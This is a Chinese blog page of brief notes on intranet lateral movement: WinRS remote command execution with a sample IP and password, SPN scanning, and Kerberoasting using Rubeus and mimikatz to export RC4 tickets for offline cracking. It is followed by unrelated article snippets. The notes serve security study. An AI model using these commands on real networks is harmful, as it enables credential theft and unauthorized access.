当前位置： 首页 > article >正文

内网安全-横向移动Kerberos 攻击SPN 扫描WinRMWinRSRDP

article 2026/3/1 0:15:11

1.WinRM&WinRS

条件：

双方开启winrm winrs服务

2008版本以上默认开启，win 7默认关闭

检测使用cs内置端口扫描5985开放情况

进行连接

winrs -r:http://192.168.93.30:5985 -u:administrator -p:Whoami2021 whoami

2.内网-spn

shell setspn -T god.org -q */*

探测主机

rc4可以被逆向aes256不可

3.kerbercast攻击条件：

使用rc4进行加密类型票据，工具Rubeus检测或者看加密类型

1.扫描：

shell setspn -T god.org -q */*

2.使用工具检测

Rubeus kerbercast

3.使用手工进行判断请求

使用klist查看

使用mimkaz进行导出和查看

导出

kerberos::list /export

使用脚本进行破解

相关文章：

内网安全-横向移动Kerberos 攻击SPN 扫描WinRMWinRSRDP

1.WinRM&WinRS 条件： 双方开启winrm winrs服务 2008版本以上默认开启，win 7默认关闭 检测使用cs内置端口扫描5985开放情况 进行连接 winrs -r:http://192.168.93.30:5985 -u:administrator -p:Whoami2021 whoami 2.内网-spn shell setspn -T …...

编程日记 2026/2/24 4:25:26

深入理解 lt； 和 gt；：HTML 实体转义的核心指南！！！

&#x1f6e1;️ 深入理解 < 和 >&#xff1a;HTML 实体转义的核心指南 &#x1f6e1;️ 在编程和文档编写中&#xff0c;< 和 > 符号无处不在&#xff0c;但它们也是引发语法错误、安全漏洞和渲染混乱的头号元凶&#xff01;&#x1f525; 本文将聚焦 <&#…...

编程日记 2026/2/23 23:13:19

使用uniapp的vite版本进行微信小程序开发，在项目中使用mqtt连接、订阅、发布信息

1、保证在微信公众平台配置socket合法域名 2、项目中使用mqtt 建议在package.json中配置"mqtt": “4.1.0”&#xff0c;使用这个版本的依赖 页面中引入mqtt并配置连接 // ts-ignoreimport * as mqtt from mqtt/dist/mqtt.js; //要使用这里面的const state reacti…...

编程日记 2026/2/13 21:44:35

Trae 实战深度揭秘，开启高效编程新时代

导语 在AI编程工具层出不穷的当下，Trae凭借其独特的功能和强大的性能脱颖而出。它不仅是一款工具，更是提升编程效率、突破开发瓶颈的得力助手。本文将带你深入Trae实战，从项目创建到复杂代码优化，全方位展示Trae的魅力，让你迅速掌握这一编程利器。 一、Trae的安装与环境…...

编程日记 2026/2/23 20:59:20

SEARCH-R1：大型语言模型的多轮搜索推理革命

当AI学会"边搜索边思考" 2025年&#xff0c;语言模型领域迎来重大突破——SEARCH-R1框架通过强化学习&#xff08;RL&#xff09;让大模型实现"动态搜索自主推理"的协同进化。这项技术不仅让模型在回答"泰坦尼克号沉没时的船长是谁"时能自动检索…...

编程日记 2026/1/19 12:05:59

红数码影视(RED Digital Cinema)存储卡格式化后的恢复方法

红数码影视(RED Digital Cinema)的摄像机可以生成两种RAW级高清视频文件&#xff0c;一种是R3D&#xff0c;一种是MOV。其中MOV属于苹果(apple)公司的QT视频封装结构&#xff0c;使用的视频编码是Apple ProRes;而R3D则是RED公司自创的RAW视频文件&#xff0c;这种文件解码需要使…...

编程日记 2026/2/26 11:43:48

关于TVS管漏电流的问题？

问题描述&#xff1a; 在量产的带电池故事机生产中&#xff0c;工厂产线测试电流时&#xff0c;有1台机器电流比正常机器大10mA左右。 原因分析&#xff1a; 1、分析电路原理图&#xff0c;去除可能出现问题的电压或器件&#xff08;不影响系统&#xff09;&#xff0c;发现…...

编程日记 2026/2/28 13:55:25

LS-NET-004-简单二层环路解决（华为锐捷思科）

LS-NET-004-简单二层环路解决&#xff08;华为锐捷思科&#xff09; 以下是为您准备的二层环路示意图及解决方案&#xff0c;包含四大厂商配置对比&#xff1a; 一、Mermaid 二层环路示意图 graph TD SW1 -->|Gi0/1| SW2 SW2 -->|Gi0/2| SW3 SW3 -->|Gi0/3| SW1 SW1…...

编程日记 2026/2/15 9:22:13

区块链交易所平台开发全解析

在数字化飞速发展的今天&#xff0c;区块链技术已成为金融领域的核心驱动力之一。作为数字货币交易的关键平台&#xff0c;区块链交易所的开发不仅涉及复杂的技术环节&#xff0c;还需要兼顾用户体验、安全性、合规性等多个方面。本文将深入探讨区块链交易所平台的开发流程、关…...

编程日记 2026/2/20 21:32:39

Redis 面试思路

分布式redis面试思路俩点 高性能 高并发 高性能 1.存储在内存 所以速度快 2. 线程模型 io多路复用 监控多个客户端socket 放入队列里面 只是文件分发机制是单线程的 处理队列中的数据 根据不同类型 分发给不同处理器 后面处理的过程 也是多线程的 3. 内存回收机制 定期懒惰 …...

编程日记 2026/2/28 10:27:27

蓝桥杯_拔河_java

佬们能不能对思路二提供点建议&#xff0c;一直过不了T_T。 题目 思路 首先感觉有个坑点&#xff0c;就是可以不用把所有学生都选上&#xff0c;但是一定要保证两个部分学生的编号是连续的。比如一共5个人&#xff0c;编号是{1&#xff0c;2&#xff0c;3&#xff0c;4&#xf…...

编程日记 2026/2/25 1:34:33

fastapi 实践（三）Swagger Docs

fastapi 实践&#xff08;一&#xff09;基础 fastapi 实践&#xff08;二&#xff09;异常捕获 fastapi 实践&#xff08;三&#xff09;Swagger Docs fastapi Swagger 1. FastAPI 交互式 API 文档2. 故障解决2.1. FastAPI 访问 docs 显示空白/加载失败2.2. Swagger 报错&…...

编程日记 2026/2/22 13:19:29

每日一题力扣3248.矩阵中的蛇c++

3248. 矩阵中的蛇 - 力扣&#xff08;LeetCode&#xff09; class Solution { public:int finalPositionOfSnake(int n, vector<string>& commands) {int i 0;int j 0;for (int k0;k<commands.size();k) {if (commands[k] "RIGHT")j;else if (comma…...

编程日记 2026/2/16 0:26:21

ReentranLock手写

ReentranLock手写 整体概述 MiniLock 是一个自定义的锁实现&#xff0c;模拟了 Java ReentrantLock 的公平锁机制。公平锁的核心思想是“先来后到”&#xff0c;即线程按照请求锁的顺序依次获取锁&#xff0c;避免线程饥饿。代码使用了以下关键组件&#xff1a; state: 表示…...

编程日记 2026/2/27 11:30:03

Channel-wise Knowledge Distillation for Dense Prediction论文阅读和

paper&#xff1a;https://arxiv.org/pdf/2011.13256.pdf code&#xff1a;https://github.com/open-mmlab/mmrazor 这篇paper主要是商汤开源的mmrazor中提及在detection有效果&#xff0c;我之前记录的几篇sota文章虽然在各自的paper中在detection领域都有提及有增益&#…...

编程日记 2026/2/14 2:29:32

deepSpeed多机多卡训练服务器之间，和服务器内两个GPU是怎么通信

DeepSpeed 在多机多卡训练时，主要依赖 NCCL 和 PyTorch Distributed 进行通信。具体来说，分为服务器之间和服务器内两种情况： 1. 服务器之间的通信（跨节点通信） DeepSpeed 采用 NCCL（NVIDIA Collective Communications Library）作为主要的通信后端，结合 PyTorch Distr…...

编程日记 2026/2/25 16:34:25

Mysql-经典实战案例（10）：如何用PT-Archiver完成大表的自动归档

真实痛点&#xff1a;电商订单表存储优化场景 现状分析 某电商平台订单表&#xff08;order_info&#xff09;每月新增500万条记录 主库&#xff1a;高频读写&#xff0c;SSD存储&#xff08;空间告急&#xff09;历史库&#xff1a;HDD存储&#xff0c;只读查询 优化目标 …...

编程日记 2026/2/13 19:37:16

centos 7 搭建FTP本地用户

在 CentOS 7 系统上基于本地用户搭建 FTP 服务&#xff0c;可按以下步骤操作&#xff1a; 1. 安装 vsftpd 服务 vsftpd 是一款常用的 FTP 服务器软件&#xff0c;可借助 yum 来安装&#xff1a; bash yum install -y vsftpd2. 启动并设置开机自启 vsftpd 服务 bash systemct…...

编程日记 2026/2/28 22:51:32

HarmonyOS Next～鸿蒙系统功耗优化体系解析：前台交互与后台任务的全场景节能设计

HarmonyOS Next&#xff5e;鸿蒙系统功耗优化体系解析&#xff1a;前台交互与后台任务的全场景节能设计 鸿蒙操作系统&#xff08;HarmonyOS&#xff09;凭借其分布式架构与全场景协同能力&#xff0c;在功耗优化领域实现了从用户交互到系统底层的多维度创新。本文从前台用户低…...

编程日记 2026/2/15 13:48:50

混元视频与万相2.1全面对比分析

混元视频与万相2.1全面对比分析&#xff08;2025版&#xff09; 一、模型背景与技术定位 混元视频&#xff08;HunYuan Video&#xff09; 由腾讯开源&#xff0c;定位为“影视级AI视频生成工具”。核心能力集中在图生视频领域。模型架构基于13B参数规模&#xff0c;强调导演级…...

编程日记 2026/2/27 18:32:05

正则表达式：文本处理的瑞士军刀

正则表达式&#xff1a;文本处理的瑞士军刀 正则表达式&#xff08;Regular Expression&#xff0c;简称 Regex&#xff09;是一种用于匹配、查找和操作文本的强大工具。它通过定义一种特殊的字符串模式&#xff0c;可以快速地在文本中搜索、替换或提取符合特定规则的内容。正…...

编程日记 2026/2/26 9:57:58

【负载均衡系列】HAProxy

HAProxy（High Availability Proxy）是一款高性能的 ​TCP/HTTP 负载均衡器，专注于提供高可用性、灵活性和可靠性。以下是关于HAProxy的详细解析，涵盖其工作原理、工作机制、工作模式等核心方面： 一、HAProxy 工作原理 HAProxy的核心职责是将客户端请求高效、可靠地分发到后…...

编程日记 2026/2/28 6:42:15

设计模式之责任链模式：原理、实现与应用

引言 责任链模式&#xff08;Chain of Responsibility Pattern&#xff09;是一种行为型设计模式&#xff0c;它允许多个对象有机会处理请求&#xff0c;从而避免请求的发送者与接收者之间的耦合。责任链模式通过将多个处理对象连接成一条链&#xff0c;使得请求沿着链传递&am…...

编程日记 2026/2/14 8:22:16

20250318在ubuntu20.04中安装向日葵

rootrootrootroot-X99-Turbo:~$ sudo dpkg -i SunloginClient_15.2.0.63064_amd64.deb rootrootrootroot-X99-Turbo:~$ sudo apt-get install -f rootrootrootroot-X99-Turbo:~$ sudo dpkg -i SunloginClient_15.2.0.63064_amd64.deb 20250318在ubuntu20.04中安装向日葵 2025/3…...

编程日记 2026/2/28 6:49:08

Kotlin的 noinline和crossinline关键字

noinline 顾名思义&#xff0c;noinline的意思就是不内联&#xff0c;这个关键字只能作用于内联高阶函数的某个函数类型的参数上&#xff0c;表明当前的函数参数不参与高阶函数的内联&#xff1a; inline fun fun1(doSomething1: () -> Unit, noinline doSomething2: () -&…...

编程日记 2026/2/18 9:03:06

区块链交易签名相关知识总结

基础概念 签名流程 安全相关问题 实际场景 代码示例 进阶问题 一、基础概念 1. 为什么区块链交易需要签名&#xff1f; 答案&#xff1a; 身份认证&#xff1a;证明交易由私钥持有者发起。 数据完整性&#xff1a;确保交易内容未被篡改。 抗抵赖性&#xff1a;签名者无…...

编程日记 2026/2/19 1:42:34

Spring Boot集成Redis并设置密码后报错： NOAUTH Authentication required

报错信息&#xff1a; io.lettuce.core.RedisCommandExecutionException: NOAUTH Authentication required.Redis密码配置确认无误&#xff0c;但是只要使用Redis存储就报这个异常。很可能是因为配置的spring.redis.password没有被读取到。 基本依赖&#xff1a; implementat…...

编程日记 2026/2/22 20:54:43

如何记录Matlab程序运行过程中所占用的最大内存（续）

在上一篇博客中&#xff0c;我们讨论了如何记录Matlab程序运行过程中所占用的最大内存。 博客原文&#xff1a;如何记录Matlab程序运行过程中所占用的最大内存-CSDN博客 但经过测试发现&#xff0c;这与实际有非常大的差异。运行如下例子&#xff1a; clear;clc; profile on…...

编程日记 2026/2/20 23:20:15

分布式节点池：群联云防护抗DDoS的核心武器

一、节点池的核心作用与架构设计 1. 全球分布式节点布局 物理层防御&#xff1a; 根据产品文档&#xff0c;群联在全球部署“海量分布式节点”&#xff0c;每个节点具备独立清洗能力&#xff0c;攻击流量被分散至不同区域节点处理。优势&#xff1a;避免传统单节点防护的瓶颈&…...

编程日记 2026/2/8 22:39:10

Java线程池深度解析：从使用到调优

适合人群&#xff1a;Java中级开发者 | 并发编程入门者 | 系统调优实践者 目录 一、引言&#xff1a;为什么线程池是Java并发的核心&#xff1f; 二、线程池核心知识点详解 1. 线程池核心参数与原理 2. 线程池的创建与使用 (1) 基础用法示例 (2) 内置线程池的隐患 3. 线…...

编程日记 2026/2/21 13:15:48